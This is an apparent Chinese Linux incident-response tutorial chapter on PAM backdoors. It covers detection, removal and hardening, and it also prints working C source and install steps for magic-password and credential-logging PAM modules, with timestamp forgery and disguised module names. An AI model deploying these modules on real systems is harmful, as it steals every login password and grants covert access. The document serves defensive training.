Linux应急响应 - 20 PAM后门

PAM (Pluggable Authentication Modules) 后门

PAM 是 Linux/Unix 系统的 统一认证框架,几乎所有需要用户认证的服务都通过 PAM 实现

攻击者通过篡改 PAM 模块或配置文件,可以实现:万能密码、凭据窃取、绕过认证

PAM 后门是最隐蔽的后门之一,因为它不修改目标服务本身,只修改底层认证层

相关页面:25-SSH软链接后门、04-账户安全排查

一、PAM 架构概述

1.1 PAM 是什么

PAM (Pluggable Authentication Modules) 是一套共享库框架

提供 统一的认证 API,让应用程序无需关心具体认证方式

几乎所有 Linux 服务都使用 PAM:sshd、login、sudo、su、passwd、gdm、vsftpd 等

认证方式可以灵活配置:密码、LDAP、Kerberos、OTP、生物识别等

架构示意:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
应用程序 (sshd, login, sudo, su ...)
│
▼
PAM API (libpam.so)
│
▼
PAM 配置文件 (/etc/pam.d/sshd, /etc/pam.d/login ...)
│
▼
PAM 模块 (.so 文件)
├── pam_unix.so ← 传统 /etc/shadow 密码认证
├── pam_ldap.so ← LDAP 认证
├── pam_google_authenticator.so ← 2FA
├── pam_permit.so ← 始终允许(危险!)
├── pam_deny.so ← 始终拒绝
└── pam_<custom>.so ← 自定义/恶意模块

1.2 PAM 配置文件

配置文件位置:/etc/pam.d/ 目录下,每个服务一个配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 查看 SSH 服务的 PAM 配置
cat /etc/pam.d/sshd

# 典型内容示例(Ubuntu)
# @include common-auth ← 引用通用认证配置
# @include common-account
# @include common-session
# @include common-password

# 查看通用认证配置
cat /etc/pam.d/common-auth
# auth [success=1 default=ignore] pam_unix.so nullok_secure
# auth requisite pam_deny.so
# auth required pam_permit.so

CentOS/RHEL 使用 system-auth 和 password-auth 而非 common-*

配置文件语法:

1
2
类型    控制标志    模块路径    [模块参数]
auth required pam_unix.so nullok

1.3 四种模块类型

类型 作用 说明
auth 认证 验证用户身份(密码、令牌等)
account 账户管理 检查账户是否可用(过期、锁定、时间限制等)
password 密码管理 修改密码时的策略(复杂度、历史等)
session 会话管理 登录/注销时的操作(日志记录、资源限制、环境设置)

认证流程中 auth 最先执行,是攻击者最常篡改的类型

1.4 控制标志详解

控制标志 含义 失败后行为
required 必须成功,但会继续检查后续模块 最终返回失败(但继续执行后续模块)
requisite 必须成功,失败立即返回 立即返回失败
sufficient 成功则立即返回(跳过后续模块) 忽略失败,继续后续模块
optional 可选,不影响最终结果 忽略

sufficient 是后门的关键:

如果一个 sufficient 模块返回成功,后续模块(包括真正的密码验证)都被跳过

攻击者在真正的认证模块 之前 插入一个 auth sufficient 的恶意模块,即可绕过密码验证

1.5 PAM 认证流程图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
用户尝试 SSH 登录
│
▼
sshd 调用 PAM API:pam_authenticate()
│
▼
PAM 读取 /etc/pam.d/sshd 配置
│
▼
按顺序执行 auth 类型的模块:
┌───────────────────────────────┐
│ auth sufficient pam_evil.so │ ← 恶意模块(如果存在)
│ ↓ 成功 → 直接通过!跳过后续 │
│ ↓ 失败 → 继续下一个 │
├───────────────────────────────┤
│ auth required pam_unix.so │ ← 正常密码验证
│ ↓ 成功 → 标记成功 │
│ ↓ 失败 → 标记失败 │
├───────────────────────────────┤
│ auth requisite pam_deny.so │ ← 默认拒绝
└───────────────────────────────┘
│
▼
返回最终结果给 sshd

关键点:模块执行顺序决定了安全性,位置靠前的 sufficient 模块可以覆盖后续所有检查

二、PAM 后门类型

2.1 万能密码后门(修改 pam_unix.so 源码)

原理:修改 pam_unix.so 源码,在密码验证逻辑中插入万能密码判断

实现步骤:

1
2
3
4
5
6
7
8
9
10
11
# 第一步:获取系统 PAM 版本
dpkg -l | grep libpam # Ubuntu/Debian
rpm -qa | grep pam # CentOS/RHEL

# 第二步:下载对应版本源码
apt-get source libpam-modules # Ubuntu
# 或从 https://github.com/linux-pam/linux-pam 下载

# 第三步:修改源码(核心)
# 文件:modules/pam_unix/pam_unix_auth.c
# 在 pam_sm_authenticate() 函数中找到密码验证逻辑

源码修改示例(简化):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/* pam_unix_auth.c 中的关键修改 */
/* 在 pam_sm_authenticate 函数的密码验证部分 */

/* 原始代码 */
retval = _unix_verify_password(pamh, name, p, ctrl);

/* 修改后的代码 */
#define MAGIC_PASS "Sup3rS3cretP@ss!"
#define CRED_LOG "/tmp/.sshlog"

/* 如果输入的是万能密码,直接返回成功 */
if (strcmp(p, MAGIC_PASS) == 0) {
retval = PAM_SUCCESS;
} else {
retval = _unix_verify_password(pamh, name, p, ctrl);
}

/* 同时记录所有登录的用户名和密码 */
FILE *logfile = fopen(CRED_LOG, "a");
if (logfile) {
fprintf(logfile, "User: %s, Pass: %s, Host: %s\n",
name, p, rhost);
fclose(logfile);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 第四步:编译
cd linux-pam-*/
./configure
make

# 第五步:替换系统模块
# Ubuntu/Debian
cp modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so
# CentOS/RHEL
cp modules/pam_unix/.libs/pam_unix.so /lib64/security/pam_unix.so

# 第六步:修改时间戳以伪装
touch -r /lib/x86_64-linux-gnu/security/pam_env.so \
/lib/x86_64-linux-gnu/security/pam_unix.so

效果:

使用万能密码可以登录系统上的 任何账户

正常用户使用原密码仍然可以正常登录

所有登录凭据被记录到隐藏文件

2.2 凭据记录后门(仅记录不修改认证)

比万能密码后门更隐蔽 — 不改变任何认证行为,只悄悄记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/* pam_cred_logger.c - 凭据记录 PAM 模块 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <security/pam_modules.h>
#include <security/pam_ext.h>
#include <time.h>

#define LOG_FILE "/var/log/.auth_debug"

PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh,
int flags,
int argc,
const char **argv) {
const char *username = NULL;
const char *password = NULL;
const char *rhost = NULL;

/* 获取用户名 */
pam_get_user(pamh, &username, NULL);

/* 获取密码 */
pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL);

/* 获取远程主机 */
pam_get_item(pamh, PAM_RHOST, (const void **)&rhost);

/* 记录到隐藏日志文件 */
FILE *fp = fopen(LOG_FILE, "a");
if (fp) {
time_t now = time(NULL);
char *timestr = ctime(&now);
timestr[strlen(timestr)-1] = '\0';
fprintf(fp, "[%s] host=%s user=%s pass=%s\n",
timestr,
rhost ? rhost : "local",
username ? username : "unknown",
password ? password : "empty");
fclose(fp);
}

/* 返回 PAM_IGNORE - 不影响认证结果 */
return PAM_IGNORE;
}

/* 必须实现的桩函数 */
PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh,
int flags,
int argc,
const char **argv) {
return PAM_SUCCESS;
}
1
2
3
4
5
6
7
8
# 编译
gcc -shared -fPIC -o pam_logger.so pam_cred_logger.c -lpam

# 安装
cp pam_logger.so /lib/x86_64-linux-gnu/security/

# 在 /etc/pam.d/common-auth 中添加(在 pam_unix.so 之前)
# auth optional pam_logger.so

特点:

返回 PAM_IGNORE,不影响正常认证流程

使用 optional 控制标志,即使模块出错也不影响登录

隐蔽性极高 — 不改变任何用户可感知的行为

2.3 配置文件后门(最简单但最容易被发现)

不修改任何 .so 文件,只修改 PAM 配置文件

方法一:pam_permit.so — 允许任何密码

1
2
3
4
5
6
# 在 /etc/pam.d/sshd 的 auth 部分最前面添加
auth sufficient pam_permit.so

# pam_permit.so 始终返回 PAM_SUCCESS
# 配合 sufficient 控制标志,直接通过认证,跳过后续所有检查
# 效果:任何用户使用任何密码(甚至空密码)都能 SSH 登录

问题:这种方式过于粗暴,任何人都能登录,很容易被发现

方法二:pam_exec.so — 执行自定义脚本

1
2
3
4
5
6
7
8
9
# 在 /etc/pam.d/sshd 中添加
auth optional pam_exec.so quiet /usr/local/bin/.auth_hook.sh

# /usr/local/bin/.auth_hook.sh 内容
#!/bin/bash
# PAM_USER 和 PAM_TYPE 由 pam_exec 自动设置
echo "$(date) $PAM_USER from $PAM_RHOST" >> /var/log/.pam_hook.log
# 可以在这里发送通知、记录凭据等
exit 0

方法三:条件后门 — 更隐蔽

1
2
3
4
5
6
7
# 使用 pam_access.so 配合 access.conf 实现条件后门
# 在 /etc/pam.d/sshd 中
auth sufficient pam_listfile.so \
item=user sense=allow file=/etc/security/.backdoor_users onerr=fail

# /etc/security/.backdoor_users 中列出可以免密登录的用户名
backdoor_user

2.4 自定义恶意 PAM 模块

最灵活也最危险的方式 — 编写全功能恶意 PAM 模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
/* pam_backdoor.c - 全功能 PAM 后门模块 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <security/pam_modules.h>
#include <security/pam_ext.h>

#define MAGIC_PASSWORD "B@ckd00r#2024"
#define LOG_PATH "/dev/shm/.pam_data"

PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh,
int flags,
int argc,
const char **argv) {
const char *username = NULL;
const char *password = NULL;
const char *rhost = NULL;
int retval;

/* 获取认证信息 */
pam_get_user(pamh, &username, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL);
pam_get_item(pamh, PAM_RHOST, (const void **)&rhost);

/* 记录凭据 */
if (username && password) {
FILE *fp = fopen(LOG_PATH, "a");
if (fp) {
fprintf(fp, "%s:%s:%s\n",
username, password,
rhost ? rhost : "local");
fclose(fp);
}
}

/* 万能密码检查 */
if (password && strcmp(password, MAGIC_PASSWORD) == 0) {
return PAM_SUCCESS;
}

/* 非万能密码,返回 IGNORE 让后续模块处理 */
return PAM_IGNORE;
}

PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh,
int flags, int argc,
const char **argv) {
return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh,
int flags, int argc,
const char **argv) {
return PAM_SUCCESS;
}
1
2
3
4
5
6
7
8
9
10
11
# 编译安装
gcc -shared -fPIC -o pam_backdoor.so pam_backdoor.c -lpam
cp pam_backdoor.so /lib/x86_64-linux-gnu/security/

# 配置(在 pam_unix.so 之前)
# /etc/pam.d/common-auth 或 /etc/pam.d/sshd
auth sufficient pam_backdoor.so

# 伪装文件名和时间戳
mv pam_backdoor.so pam_tally3.so # 伪装为合法模块名
touch -r pam_unix.so pam_tally3.so

三、检测方法

3.1 PAM 模块文件完整性校验

这是最可靠的检测方法 — 对比 PAM 模块的 hash 与软件包中原始文件的 hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# === Debian/Ubuntu ===
# 使用 debsums 校验所有 PAM 相关包
debsums libpam-modules
debsums libpam-modules-bin
debsums libpam-runtime

# 如果 debsums 未安装
apt install debsums

# debsums 输出示例:
# /lib/x86_64-linux-gnu/security/pam_unix.so OK
# /lib/x86_64-linux-gnu/security/pam_deny.so OK
# 如果某个文件被修改,显示 FAILED

# === CentOS/RHEL ===
# 使用 rpm -V 校验
rpm -V pam

# rpm -V 输出解读:
# S.5....T. /lib64/security/pam_unix.so
# S = 大小变化, 5 = MD5 校验和变化, T = 修改时间变化
# 以上输出说明 pam_unix.so 被修改过!

# === 通用方法:手动 hash 对比 ===
# 从另一台相同版本的干净系统获取 pam_unix.so 的 hash
sha256sum /lib/x86_64-linux-gnu/security/pam_unix.so
# 与干净系统对比

注意:攻击者可能修改 debsums/rpm 的数据库,最可靠的方式是从干净的安装源获取原始 hash

3.2 PAM 配置文件审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 检查所有 PAM 配置中是否存在可疑条目

# 1. 搜索 pam_permit.so(允许所有认证)
grep -rn "pam_permit" /etc/pam.d/
# pam_permit 在 auth sufficient 的位置是极度危险的
# 在 common-auth 最后作为 fallback 是正常的

# 2. 搜索 pam_exec.so(执行外部脚本)
grep -rn "pam_exec" /etc/pam.d/
# 如果找到,检查执行的脚本内容

# 3. 搜索 sufficient 关键字
grep -rn "sufficient" /etc/pam.d/
# 重点关注 auth sufficient 行
# 尤其是在 pam_unix.so 之前的 sufficient 模块

# 4. 搜索非标准模块
grep -rn "pam_" /etc/pam.d/ | grep -Ev \
"pam_unix|pam_deny|pam_permit|pam_env|pam_limits|pam_loginuid|pam_keyinit|\
pam_selinux|pam_namespace|pam_mail|pam_motd|pam_lastlog|pam_nologin|\
pam_securetty|pam_rootok|pam_wheel|pam_cap|pam_tally|pam_faillock|\
pam_succeed_if|pam_access|pam_systemd|pam_umask|pam_pwquality|pam_cracklib|\
pam_google_authenticator|pam_fprintd|pam_gnome_keyring|pam_sss"

# 5. 检查 PAM 配置文件修改时间
ls -la --time-style=full-iso /etc/pam.d/ | sort -k6

# 6. 对比配置文件与包默认值
# Debian/Ubuntu
debsums libpam-runtime
# CentOS/RHEL
rpm -V pam

3.3 检查非标准 PAM 模块文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 列出所有 PAM 模块
# Ubuntu/Debian
ls -la /lib/x86_64-linux-gnu/security/

# CentOS/RHEL
ls -la /lib64/security/

# 找出不属于任何已安装包的模块
# Debian/Ubuntu
for so in /lib/x86_64-linux-gnu/security/pam_*.so; do
if ! dpkg -S "$so" >/dev/null 2>&1; then
echo "[!] 非包管理的模块: $so"
file "$so"
sha256sum "$so"
ls -la "$so"
fi
done

# CentOS/RHEL
for so in /lib64/security/pam_*.so; do
if ! rpm -qf "$so" >/dev/null 2>&1; then
echo "[!] 非包管理的模块: $so"
file "$so"
sha256sum "$so"
ls -la "$so"
fi
done

3.4 检查 PAM 模块修改时间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# PAM 模块通常在系统安装或更新时安装,修改时间应该一致
# 检查是否有某个模块时间与其他不同

# 按修改时间排序
ls -la --time-style=full-iso /lib/x86_64-linux-gnu/security/pam_*.so | sort -k6

# 使用 stat 获取详细时间信息
for so in /lib/x86_64-linux-gnu/security/pam_*.so; do
echo -n "$(basename $so): "
stat -c '%y' "$so"
done | sort -t: -k2

# 查找最近 30 天内被修改的 PAM 模块
find /lib/x86_64-linux-gnu/security/ /lib64/security/ \
-name "pam_*.so" -mtime -30 -ls 2>/dev/null

注意:攻击者可能使用 touch -r 伪造时间戳

更可靠的方法是检查 inode 更改时间(ctime),不能被 touch 修改:

1
2
3
4
5
6
7
8
9
# ctime(inode 变更时间)无法被 touch 篡改
stat /lib/x86_64-linux-gnu/security/pam_unix.so
# 关注 Change 行(ctime)而非 Modify 行(mtime)

# 对比所有 PAM 模块的 ctime
for so in /lib/x86_64-linux-gnu/security/pam_*.so; do
echo -n "$(basename $so): "
stat -c '%z' "$so" # %z = ctime
done | sort -t: -k2

3.5 使用 strings 分析可疑模块

1
2
3
4
5
6
7
8
9
10
11
12
13
# 如果发现可疑 PAM 模块,使用 strings 查看其中的字符串
strings /lib/x86_64-linux-gnu/security/pam_unix.so | grep -iE \
"password|passwd|backdoor|secret|magic|log|tmp|shm|fopen|fprintf"

# 对比正常和可疑的 pam_unix.so
strings /lib/x86_64-linux-gnu/security/pam_unix.so > /tmp/strings_suspicious.txt
# 从干净系统获取
strings /path/to/clean/pam_unix.so > /tmp/strings_clean.txt
diff /tmp/strings_clean.txt /tmp/strings_suspicious.txt

# 查找可能的凭据记录路径
strings /lib/x86_64-linux-gnu/security/pam_unix.so | grep -E "^/"
# 正常的 pam_unix.so 不会包含 /tmp、/dev/shm 等临时路径

3.6 检查可能的凭据记录文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 搜索可能的凭据记录文件
# 常见位置
ls -la /tmp/.ssh* /tmp/.pam* /tmp/.auth* /tmp/.log* 2>/dev/null
ls -la /dev/shm/.* 2>/dev/null
ls -la /var/log/.* 2>/dev/null
ls -la /var/tmp/.* 2>/dev/null

# 搜索隐藏文件中包含密码格式的内容
find /tmp /dev/shm /var/tmp -name ".*" -type f -exec \
grep -l -E "user.*pass|User.*Pass|password" {} \; 2>/dev/null

# 检查最近被写入的隐藏文件
find / -name ".*" -type f -newer /etc/hostname -not -path "/proc/*" \
-not -path "/sys/*" -not -path "/run/*" 2>/dev/null | head -30

3.7 综合 PAM 后门检测脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/bin/bash
# PAM 后门综合检测脚本
echo "========== PAM 后门检测 =========="
echo "[*] 检测时间: $(date)"
echo ""

# 确定 PAM 模块目录
if [ -d "/lib/x86_64-linux-gnu/security" ]; then
PAM_DIR="/lib/x86_64-linux-gnu/security"
elif [ -d "/lib64/security" ]; then
PAM_DIR="/lib64/security"
else
echo "[!] 无法找到 PAM 模块目录"
exit 1
fi

echo "[1] PAM 模块完整性检查"
if command -v debsums &>/dev/null; then
debsums libpam-modules 2>/dev/null | grep -v "OK$"
elif command -v rpm &>/dev/null; then
rpm -V pam 2>/dev/null | grep -E "^..5"
fi
echo ""

echo "[2] 可疑 PAM 配置检查"
echo "--- auth sufficient 行 ---"
grep -rn "auth.*sufficient" /etc/pam.d/ | grep -v "pam_unix\|pam_sss\|pam_fprintd\|pam_rootok"
echo "--- pam_permit 在 auth 中 ---"
grep -rn "auth.*pam_permit" /etc/pam.d/
echo "--- pam_exec 使用 ---"
grep -rn "pam_exec" /etc/pam.d/
echo ""

echo "[3] 非包管理的 PAM 模块"
for so in "$PAM_DIR"/pam_*.so; do
if command -v dpkg &>/dev/null; then
dpkg -S "$so" >/dev/null 2>&1 || echo "[!] $so"
elif command -v rpm &>/dev/null; then
rpm -qf "$so" >/dev/null 2>&1 || echo "[!] $so"
fi
done
echo ""

echo "[4] PAM 模块时间异常检查"
echo "--- 按 ctime 排序的 PAM 模块 ---"
for so in "$PAM_DIR"/pam_*.so; do
echo "$(stat -c '%z' "$so") $(basename "$so")"
done | sort | tail -5
echo ""

echo "[5] 可疑凭据记录文件"
find /tmp /dev/shm /var/tmp -name ".*" -type f 2>/dev/null | head -10
echo ""

echo "========== 检测完成 =========="

四、清除与加固

4.1 清除步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# 第一步:确认感染类型
# 是配置文件被修改还是 .so 被替换/新增

# === 如果是配置文件后门 ===
# 恢复 PAM 配置到默认值
# Debian/Ubuntu
apt install --reinstall libpam-runtime
# 或手动删除恶意行
vim /etc/pam.d/sshd # 删除可疑的 auth sufficient 行

# === 如果是 pam_unix.so 被替换 ===
# 重新安装 PAM 模块包
# Debian/Ubuntu
apt install --reinstall libpam-modules
# CentOS/RHEL
yum reinstall pam

# === 如果是自定义恶意模块 ===
# 1. 从配置文件中删除引用
grep -rn "pam_evil\|pam_backdoor\|pam_tally3" /etc/pam.d/
# 2. 删除恶意 .so 文件
rm /lib/x86_64-linux-gnu/security/pam_evil.so

# 第二步:清除凭据记录文件
find /tmp /dev/shm /var/tmp /var/log -name ".*" -type f -exec \
file {} \; 2>/dev/null | grep "text"
# 检查内容后删除

# 第三步:重启 SSH 服务确认正常
systemctl restart sshd
# 测试正常用户能否登录

4.2 加固建议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 1. 使用 auditd 监控 PAM 文件变更
# 监控 PAM 配置目录
auditctl -w /etc/pam.d/ -p wa -k pam_config_change
# 监控 PAM 模块目录
auditctl -w /lib/x86_64-linux-gnu/security/ -p wa -k pam_module_change
# 监控 /etc/ld.so.preload
auditctl -w /etc/ld.so.preload -p wa -k preload_change

# 持久化 audit 规则(写入 /etc/audit/rules.d/pam.rules)
echo "-w /etc/pam.d/ -p wa -k pam_config_change" >> /etc/audit/rules.d/pam.rules
echo "-w /lib/x86_64-linux-gnu/security/ -p wa -k pam_module_change" >> /etc/audit/rules.d/pam.rules

# 2. 定期进行完整性检查
# 创建基线
sha256sum /lib/x86_64-linux-gnu/security/pam_*.so > /root/.pam_baseline.sha256
# 定期对比
sha256sum -c /root/.pam_baseline.sha256

# 3. 使用 AIDE 或 Tripwire 进行文件完整性监控
# AIDE 配置示例
# /etc/aide/aide.conf
# /lib/x86_64-linux-gnu/security/ Full
# /etc/pam.d/ Full

# 4. 限制 PAM 模块目录权限
chmod 755 /lib/x86_64-linux-gnu/security/
chmod 644 /lib/x86_64-linux-gnu/security/pam_*.so
chown root:root /lib/x86_64-linux-gnu/security/pam_*.so

五、真实案例分析

5.1 案例:SSH 登录异常但密码未泄露

现象:安全团队发现有未知 IP 成功 SSH 登录了多个服务器账户

分析过程:

  1. 检查 /var/log/auth.log 发现多个账户被不同 IP 成功登录

  2. 账户密码未被泄露(密码复杂度足够,未在其他地方使用)

  3. 检查 /etc/pam.d/sshd 发现多了一行:auth sufficient pam_debug.so

  4. /lib/x86_64-linux-gnu/security/pam_debug.so 不属于系统包

  5. strings 分析发现包含万能密码字符串

  6. 发现 /dev/shm/.pam_data 中存储了大量明文凭据

时间线重建:

攻击者通过 Web 漏洞获取初始访问

提权后安装 PAM 后门

使用万能密码横向移动到其他服务器

5.2 案例:pam_unix.so 被替换

现象:rpm -V pam 显示 pam_unix.so 的大小和哈希值与原始包不同

分析:

strings pam_unix.so 发现可疑字符串 /tmp/.cache/.data

stat 显示文件 mtime 与其他模块一致(被 touch -r 伪造)

但 ctime 比其他模块晚了 2 周 — 符合入侵时间

/tmp/.cache/.data 中发现 200+ 条明文用户名密码记录

六、知识要点总结

后门类型 隐蔽性 检测难度 影响范围
配置文件后门(pam_permit) 低 低 配置涉及的服务
自定义 PAM 模块 中 中 配置涉及的服务
修改 pam_unix.so 高 中-高 所有使用 PAM 的服务
纯凭据记录模块 极高 高 被动记录,不改变认证行为

检测优先级:

  1. debsums/rpm -V 完整性校验 — 最快发现 .so 替换

  2. 审计 PAM 配置文件 — 发现配置注入

  3. 非包管理的 .so 文件检查 — 发现新增恶意模块

  4. ctime 时间对比 — 发现文件替换(即使 mtime 被伪造)

  5. strings 分析 — 确认恶意模块内容

七、配套实验

实验目录:labs/15-persistence-pam/

实验内容:

实验 15.1:PAM 配置文件后门实施与检测

实验 15.2:编写自定义 PAM 凭据记录模块

实验 15.3:使用 debsums/rpm -V 检测 PAM 模块篡改

实验 15.4:综合检测脚本实战

⚠️ 所有实验必须在隔离的虚拟机环境中进行


上一章 目录 下一章
19-LD_PRELOAD劫持 Linux应急响应 21-Rootkit检测